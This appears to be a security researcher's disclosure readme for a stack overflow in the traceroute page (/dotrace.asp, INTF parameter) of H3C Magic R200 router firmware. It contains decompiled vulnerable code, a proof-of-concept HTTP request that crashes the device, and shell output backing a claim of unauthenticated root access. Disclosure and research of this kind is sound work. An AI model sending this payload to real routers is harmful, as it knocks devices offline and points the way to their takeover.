

main vuln / H3C / 11 /



Darry-lang1 Add files via upload ...

on Jul 8 History

..



img

5 months ago



readme.md

5 months ago



readme.md

# H3C magic R200 R200V200R004L02.bin Stack overflow vulnerability

## Overview

- Manufacturer's website information: <https://www.h3c.com/>
- Firmware download address :  
[https://www.h3c.com/cn/d\\_202012/1361151\\_30005\\_0.htm](https://www.h3c.com/cn/d_202012/1361151_30005_0.htm)

## Affected version

数字化解决方案领导者

首页, 支持, 文档与软件, 软件下载, 智能终端, H3C Magic R 系列, Magic R200路由器

M

H3C R200V200R004L02 (仅适用于原先版本为V200系列的设备) 版本及软件说明书

软件名称: H3C R200V200R004L02 (仅适用于原先版本为V200系列的设备) 版本及软件说明书

发布日期: 2020/12/1 10:07:11

下载:

→ [H3C MagicR200V200R004L02 版本说明书.pdf](#)(605.54 KB)

→ [R200V200R004L02.zip](#)(6.13 MB)

软件说明

The figure above shows the latest firmware.

## Vulnerability details

```
int __fastcall sub_41F0EC(int a1, int a2)
{
    int v3; // $v0
    int v4; // [sp+20h] [+20h]
    int v5; // [sp+24h] [+24h]
    int v6; // [sp+24h] [+24h]
    int v7; // [sp+28h] [+28h]
    _DWORD *v8; // [sp+2Ch] [+2Ch]
    char v9[64]; // [sp+30h] [+30h] BYREF
    int v10[5]; // [sp+70h] [+70h] BYREF
    char v11[20]; // [sp+84h] [+84h] BYREF
    int v12; // [sp+98h] [+98h] BYREF
    char v13[64]; // [sp+9Ch] [+9Ch] BYREF
    char v14[20]; // [sp+DCh] [+DCh] BYREF
    int v15; // [sp+F0h] [+F0h] BYREF
    int v16; // [sp+F4h] [+F4h] BYREF
    int v17; // [sp+F8h] [+F8h] BYREF
    int v18; // [sp+FC] [+FC] BYREF
    int v19[10]; // [sp+100h] [+100h] BYREF
    int v20[6]; // [sp+128h] [+128h] BYREF
    char v21[200]; // [sp+140h] [+140h] BYREF

    memset(v10, 0, sizeof(v10));
    v17 = -1;
    v18 = 0;
    v19[0] = (int)"traceroute";
    v19[1] = (int)"-In";
    v19[2] = (int)"-s";
    v19[3] = (int)v14;
    v19[4] = (int)"-o";
    v19[5] = (int)v11;
    v19[6] = (int)"-k";
    v19[7] = (int)"file";
    v19[8] = (int)v13;
    v19[9] = 0;
    v20[0] = (int)"traceroute";
    v20[1] = (int)"-In";
    v20[2] = (int)"-k";
    v20[3] = (int)"file";
    v20[4] = (int)v13;
    v20[5] = 0;
    if ( !*( _DWORD *) (a2 + 164) || !*( _BYTE *) (a2 + 164) )
        return sub_487144(a2, (int)"<TR class=textCell><TD colspan=5>### Trace failed ###</TD></TR>"
    v7 = 0;
    v7 = strstr( *( _DWORD *) (a2 + 164), "HOST=" );
    v5 = strchr( *( _DWORD *) (a2 + 164), '&' );
    if ( !v7 || !v5 )
        return sub_487144(a2, (int)"<TR class=textCell><TD colspan=5>### Invalid parameter ###</TD><
    strncpy(v9, v7 + 5, v5 - v7 - 5);
    v9[v5 - v7 - 5] = 0;
    v7 = 0;
    v7 = strstr( *( _DWORD *) (a2 + 164), "INTF=" );
    if ( v7 )
    {
        v6 = strchr(v7, '&');
        if ( !v6 )
            return sub_487144(a2, (int)"<TR class=textCell><TD colspan=5>### Invalid parameter ###</TD>
        v4 = v6 - v7 - 5;
        strncpy(v10, v7 + 5, v4);
        *(( _BYTE *) v10 + v4) = 0;
    }
    if ( !strcmp(v9, "***STOP***") )
```

The strncpy function copies the data between "INTF=" and "&" into the V10 array. Without limiting the size of the copy, the stack overflows.

## Recurring vulnerabilities and POC

In order to reproduce the vulnerability, the following steps can be followed:

1. Use the fat simulation firmware R200V200R004L02.bin
2. Attack with the following POC attacks

```
GET /dotrace.asp?
HOST=www.baidu.com&INTF=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
HTTP/1.1
Host: 192.168.124.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101
Firefox/101.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Referer: http://192.168.124.1/maintain_diag.asp
Cookie: LOGIN_PSD_REM_FLAG=; PSWMOBILEFLAG=; LOGINCOUNT=; USERLOGINIDFLAG=
Upgrade-Insecure-Requests: 1
```



### 连接超时

192.168.124.1 的服务器响应时间过长。

- 此站点暂时无法使用或者太过忙碌。请过几分钟后重试。
- 如果您无法载入任何网页，请检查您计算机的网络连接状态。
- 如果您的计算机或网络受到防火墙或者代理服务器的保护，请确认 Firefox 已被授权访问网络。

重试

The above figure shows the POC attack effect

Finally, you can write exp, which can obtain a stable root shell without authorization

```
BusyBox v1.2.0 (2019.11.07-05:21+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.

/ # ls -l
drwxrwxr-x  2 1000      1000          7748 Nov  7  2019 www
drwxr-xr-x 10 *root    root           0 Jan  1  1970 var
drwxrwxr-x  5 1000      1000          49 Nov  7  2019 usr
drwxrwxr-x  3 1000      1000          26 Nov  7  2019 uclibc
lrwxrwxrwx  1 1000      1000           7 Nov  7  2019 tmp -> var/tmp
dr-xr-xr-x 11 *root    root           0 Jan  1  1970 sys
lrwxrwxrwx  1 1000      1000           3 Nov  7  2019 sbin -> bin
dr-xr-xr-x 78 *root    root           0 Jan  1  1970 proc
drwxr-xr-x  9 *root    root           0 Jan  1  1970 mnt
lrwxrwxrwx  1 1000      1000           3 Nov  7  2019 lib32 -> lib
drwxrwxr-x  4 1000      1000         2452 Nov  7  2019 lib
lrwxrwxrwx  1 1000      1000           9 Nov  7  2019 init -> sbin/init
drwxrwxr-x  2 1000      1000           3 Nov  7  2019 home
drwxrwxr-x  2 1000      1000           3 Nov  7  2019 ftproot
drwxr-xr-x 10 *root    root           0 Jan  1  1970 etc
drwxrwxr-x  4 1000      1000         2539 Nov  7  2019 dev
drwxr-xr-x  2 1000      1000         1446 Nov  7  2019 bin

/ #
```